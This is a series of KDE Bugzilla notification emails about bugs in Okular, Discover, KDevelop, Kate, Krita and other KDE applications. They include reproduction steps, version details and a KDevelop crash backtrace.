[okular] [Bug 466293] Cannot scroll beyond the border of the screen using Wayland
https://bugs.kde.org/show_bug.cgi?id=466293 Benjamin changed: What|Removed |Added CC||benjaminwheeler0510@gmail.c ||om --- Comment #1 from Benjamin --- I'm on openSuse on plasma/wayland and experience the same problem. I hope this is fixable, as this feature is awesome! -- You are receiving this mail because: You are watching all bug changes.
[Discover] [Bug 478704] Discover no longer offers the option to delete a Flatpak app's settings from ~/.var
https://bugs.kde.org/show_bug.cgi?id=478704 Benjamin Xiao changed: What|Removed |Added Component|Flatpak Backend |discover -- You are receiving this mail because: You are watching all bug changes.
[Discover] [Bug 478704] New: Discover no longer offers the option to delete a Flatpak app's settings from ~/.var
https://bugs.kde.org/show_bug.cgi?id=478704 Bug ID: 478704 Summary: Discover no longer offers the option to delete a Flatpak app's settings from ~/.var Classification: Applications Product: Discover Version: 5.27.10 Platform: Arch Linux OS: Linux Status: REPORTED Severity: normal Priority: NOR Component: Flatpak Backend Assignee: plasma-b...@kde.org Reporter: ben.r.x...@gmail.com CC: aleix...@kde.org, jgrul...@redhat.com, trav...@redhat.com Target Milestone: --- SUMMARY *** NOTE: If you are reporting a crash, please try to attach a backtrace with debug symbols. See https://community.kde.org/Guidelines_and_HOWTOs/Debugging/How_to_create_useful_crash_reports *** Discover no longer offers the option to delete a Flatpak apps settings from ~/.var/app. It used to do this and was a very handy feature. As of a recent update, it no longer shows up. STEPS TO REPRODUCE 1. Install a Flatpak app and launch it so that it creates a folder in ~/.var/app 2. Remove the Flatpak app 3. Notice that the Delete settings button no longer appears below the store thumbnails OBSERVED RESULT Delete settings button is gone. EXPECTED RESULT Delete settings button appears when an app has been uninstalled so that a user can clean up his ~/.var/app folder SOFTWARE/OS VERSIONS Linux/KDE Plasma: 6.6.7-arch1-1 (available in About System) KDE Plasma Version: 5.27.10 KDE Frameworks Version: 5.113.0 Qt Version: 5.15.11 ADDITIONAL INFORMATION -- You are receiving this mail because: You are watching all bug changes.
[dolphin] [Bug 475422] Status bar shows the wrong path for relative symbolic links
https://bugs.kde.org/show_bug.cgi?id=475422 Benjamin Xiao changed: What|Removed |Added CC||ben.r.x...@gmail.com -- You are receiving this mail because: You are watching all bug changes.
[kdevelop] [Bug 474446] New: Crash while copying python code into kdevelop
https://bugs.kde.org/show_bug.cgi?id=474446 Bug ID: 474446 Summary: Crash while copying python code into kdevelop Classification: Applications Product: kdevelop Version: unspecified Platform: Compiled Sources OS: Linux Status: REPORTED Keywords: drkonqi Severity: crash Priority: NOR Component: general Assignee: kdevelop-bugs-n...@kde.org Reporter: benjamin-h...@t-online.de Target Milestone: --- Application: kdevelop (5.13.231170 (23.11.70)) Qt Version: 5.15.9 Frameworks Version: 5.108.0 Operating System: Linux 6.4.13-100.fc37.x86_64 x86_64 Windowing System: X11 Distribution: "Fedora release 37 (Thirty Seven)" DrKonqi: 5.27.6 [KCrashBackend] -- Information about the crash: This crash happened while I copyied a python code snipped into KDevelop. Unfortunately I couldn't reproduce it with the exact same code in a new file. The reporter is unsure if this crash is reproducible. -- Backtrace: Application: KDevelop (kdevelop), signal: Segmentation fault [KCrash Handler] #4 0x7fb2ee703001 in KDevelop::IndexedIdentifier::identifier (this=0x10020) at /home/benjamin/.opt/kdevelop/kdevelop-src/kdevplatform/language/duchain/identifier.cpp:1374 #5 0x7fb2ee6f05e1 in KDevelop::Declaration::identifier (this=) at /home/benjamin/.opt/kdevelop/kdevelop-src/kdevplatform/language/duchain/declaration.cpp:207 #6 0x7fb2a44f7fd4 in Python::DeclarationBuilder::addArgumentTypeHints (this=0x7fb2693df730, node=0x7fb2684386d0, called=...) at /home/benjamin/.opt/kdevelop/kdevelop-python-src/duchain/declarationbuilder.cpp:1031 #7 0x7fb2a44f8a5b in Python::DeclarationBuilder::visitCall (this=0x7fb2693df730, node=0x7fb2684386d0) at /home/benjamin/.opt/kdevelop/kdevelop-python-src/duchain/declarationbuilder.cpp:1132 #8 0x7fb2a50aafc4 in Python::AstVisitor::visitNode (this=0x7fb2693df918, node=0x7fb2684386d0) at /home/benjamin/.opt/kdevelop/kdevelop-python-src/parser/astvisitor.cpp:72 #9 0x7fb2a44fe56e in Python::DeclarationBuilder::visitNode (this=0x7fb2693df730, node=0x7fb2684386d0) at /home/benjamin/.opt/kdevelop/kdevelop-python-src/duchain/declarationbuilder.cpp:1917 #10 0x7fb2a50aa06e in Python::AstVisitor::visitNodeList (this=0x7fb2693df918, l=...) at /home/benjamin/.opt/kdevelop/kdevelop-python-src/parser/astvisitor.h:35 #11 0x7fb2a50a8b71 in Python::AstDefaultVisitor::visitCall (this=0x7fb2693df918, node=0x7fb2698d7b00) at /home/benjamin/.opt/kdevelop/kdevelop-python-src/parser/astdefaultvisitor.cpp:326 #12 0x7fb2a44f88d2 in Python::DeclarationBuilder::visitCall (this=0x7fb2693df730, node=0x7fb2698d7b00) at /home/benjamin/.opt/kdevelop/kdevelop-python-src/duchain/declarationbuilder.cpp:1105 #13 0x7fb2a50aafc4 in Python::AstVisitor::visitNode (this=0x7fb2693df918, node=0x7fb2698d7b00) at /home/benjamin/.opt/kdevelop/kdevelop-python-src/parser/astvisitor.cpp:72 #14 0x7fb2a44fe56e in Python::DeclarationBuilder::visitNode (this=0x7fb2693df730, node=0x7fb2698d7b00) at /home/benjamin/.opt/kdevelop/kdevelop-python-src/duchain/declarationbuilder.cpp:1917 #15 0x7fb2a50a8270 in Python::AstDefaultVisitor::visitReturn (this=0x7fb2693df918, node=0x7fb26a2773a0) at /home/benjamin/.opt/kdevelop/kdevelop-python-src/parser/astdefaultvisitor.cpp:154 #16 0x7fb2a44fd42d in Python::DeclarationBuilder::visitReturn (this=0x7fb2693df730, node=0x7fb26a2773a0) at /home/benjamin/.opt/kdevelop/kdevelop-python-src/duchain/declarationbuilder.cpp:1768 #17 0x7fb2a50aa9c4 in Python::AstVisitor::visitNode (this=0x7fb2693df918, node=0x7fb26a2773a0) at /home/benjamin/.opt/kdevelop/kdevelop-python-src/parser/astvisitor.cpp:30 #18 0x7fb2a44fe56e in Python::DeclarationBuilder::visitNode (this=0x7fb2693df730, node=0x7fb26a2773a0) at /home/benjamin/.opt/kdevelop/kdevelop-python-src/duchain/declarationbuilder.cpp:1917 #19 0x7fb2a50a9fd6 in Python::AstVisitor::visitNodeList (this=0x7fb2693df918, l=...) at /home/benjamin/.opt/kdevelop/kdevelop-python-src/parser/astvisitor.h:35 #20 0x7fb2a50a80a3 in Python::AstDefaultVisitor::visitIf (this=0x7fb2693df918, node=0x7fb26863d610) at /home/benjamin/.opt/kdevelop/kdevelop-python-src/parser/astdefaultvisitor.cpp:119 #21 0x7fb2a44fc8f0 in Python::DeclarationBuilder::visitIf (this=0x7fb2693df730, node=0x7fb26863d610) at /home/benjamin/.opt/kdevelop/kdevelop-python-src/duchain/declarationbuilder.cpp:1656 #22 0x7fb2a50aaaff in Python::AstVisitor::visitNode (this=0x7fb2693df918, node=0x7fb26863d610) at /home/benjamin/.opt/kdevelop/kdevelop-python-src/parser/astvisitor.cpp:39 #23 0x7fb2a44fe56e in Python::DeclarationBuilder::visitNode (this=0x7fb2693df730, node=0x7fb26863d610) at /home/benjamin/.opt/kdevelop/kdevelop-python-src/duchain/declarationbuilder.cpp:1917 #24 0x7fb2a50a9fd6 in Python::AstVisitor::visitNodeList (this=0x7fb2693df918, l=...) at /home/benjamin/.opt/kdevelop/kdeve
[Elisa] [Bug 443184] Elisa Music Player Stutters on Each Track Start with Bluetooth Headphones (fine otherwise)
https://bugs.kde.org/show_bug.cgi?id=443184 Benjamin Bukowski changed: What|Removed |Added CC||b...@bkwsk.de --- Comment #13 from Benjamin Bukowski --- This happens for me too when using a bluetooth headset, but only with the aptX profile. With the aac profile it works as expected. -- You are receiving this mail because: You are watching all bug changes.
[kate] [Bug 473218] KWrite removes trailing spaces when it shouldn't
https://bugs.kde.org/show_bug.cgi?id=473218 --- Comment #3 from Benjamin --- Yes, there is some .editorconfig file ib the same folder, containing "trim_trailing_whitespace = true". So that seems to be the actual issue I have (sorry, not a bug then). Is there a way to override this behavior without editing the .editorconfig file? -- You are receiving this mail because: You are watching all bug changes.
[kate] [Bug 473218] New: KWrite removes trailing spaces when it shouldn't
https://bugs.kde.org/show_bug.cgi?id=473218 Bug ID: 473218 Summary: KWrite removes trailing spaces when it shouldn't Classification: Applications Product: kate Version: 23.04.3 Platform: Neon OS: Linux Status: REPORTED Severity: normal Priority: NOR Component: general Assignee: kwrite-bugs-n...@kde.org Reporter: helium...@mailbox.org Target Milestone: --- SUMMARY KWrite removes trailing spaces as if the corresponding setting was set to "In Entire Document" STEPS TO REPRODUCE 1. Have "Remove trailing spaces" set to "On Modified Lines" or "Never" 2. Open a file that contains trailing spaces at the end 3. Press CTRL+S OBSERVED RESULT all trailing spaces are removed EXPECTED RESULT all trailing spaces stay SOFTWARE/OS VERSIONS Linux/KDE Plasma: KDE Neon 5.27 (available in About System) KDE Plasma Version: 5.27.7 KDE Frameworks Version: 5.108.0 Qt Version: 5.15.10 ADDITIONAL INFORMATION I had this issue previously, but it went away after a few days (possibly/likely after a system update) -- You are receiving this mail because: You are watching all bug changes.
[plasma-systemmonitor] [Bug 471266] No Nvidia Data on Wayland
https://bugs.kde.org/show_bug.cgi?id=471266 Benjamin W. changed: What|Removed |Added Resolution|--- |FIXED Status|REPORTED|RESOLVED --- Comment #1 from Benjamin W. --- Seems to be working now as of version 5.27.7 -- You are receiving this mail because: You are watching all bug changes.
[krita] [Bug 472814] Workspace dockers are squashed on re opening Krita
https://bugs.kde.org/show_bug.cgi?id=472814 Benjamin Round changed: What|Removed |Added CC||benalbe...@gmail.com -- You are receiving this mail because: You are watching all bug changes.
[krita] [Bug 472814] New: Workspace dockers are squashed on re opening Krita
https://bugs.kde.org/show_bug.cgi?id=472814 Bug ID: 472814 Summary: Workspace dockers are squashed on re opening Krita Classification: Applications Product: krita Version: 5.1.5 Platform: Other OS: Microsoft Windows Status: REPORTED Severity: minor Priority: NOR Component: Dockers Assignee: krita-bugs-n...@kde.org Reporter: benalbe...@gmail.com Target Milestone: --- Created attachment 160628 --> https://bugs.kde.org/attachment.cgi?id=160628=edit Squashed dockers after Krita re-launch. Using Big_Paint_2 workspace SUMMARY *** Selecting a default workspace and then relaunching Krita results in dockers getting squashed and the workspace needs to be re-selected. STEPS TO REPRODUCE 1. Launch Krita 2. change defualt workspace to big_paint_2 3. close Krita 4. Re-launch Krita 5. Dockers should now be squashed OBSERVED RESULT squashed docker windows EXPECTED RESULT For Krita to load the workspace I left Krita in with no alterations to docker size. OS: Windows 11 Version: 5.1.5 Installation type: installer / portable package Hidpi: true Qt Version (compiled): 5.12.12 Version (loaded): 5.12.12 OS Information Build ABI: x86_64-little_endian-llp64 Build CPU: x86_64 CPU: x86_64 Kernel Type: winnt Kernel Version: 10.0.22621 Pretty Productname: Windows 10 (10.0) Product Type: windows Product Version: 10 Locale Languages: en_US C locale: C QLocale current: en-NZ QLocale system: en-NZ QTextCodec for locale: UTF-8 Process ACP: 65001 (UTF-8) System locale default ACP: 1252 (ANSI - Latin I) OpenGL Info Vendor: "Google Inc. (NVIDIA)" Renderer: "ANGLE (NVIDIA, NVIDIA GeForce RTX 4070 Laptop GPU Direct3D11 vs_5_0 ps_5_0, D3D11-31.0.15.2892)" Version: "OpenGL ES 3.0.0 (ANGLE 2.1.0 git hash: f2280c0c5f93+krita_qt5.12.12)" Shading language: "OpenGL ES GLSL ES 3.00 (ANGLE 2.1.0 git hash: f2280c0c5f93+krita_qt5.12.12)" -- You are receiving this mail because: You are watching all bug changes.
[systemsettings] [Bug 447364] Unable to set current time manually
https://bugs.kde.org/show_bug.cgi?id=447364 Benjamin Xiao changed: What|Removed |Added CC||ben.r.x...@gmail.com -- You are receiving this mail because: You are watching all bug changes.
[kscreenlocker] [Bug 472696] Need to validate u2f multiple times to unlock screen
https://bugs.kde.org/show_bug.cgi?id=472696 --- Comment #1 from Benjamin T --- Linux: Kubuntu 23.04 KDE Plasma Version: 5.27.6 KDE Frameworks Version: 5.108.0 Qt Version: 5.15.8 -- You are receiving this mail because: You are watching all bug changes.
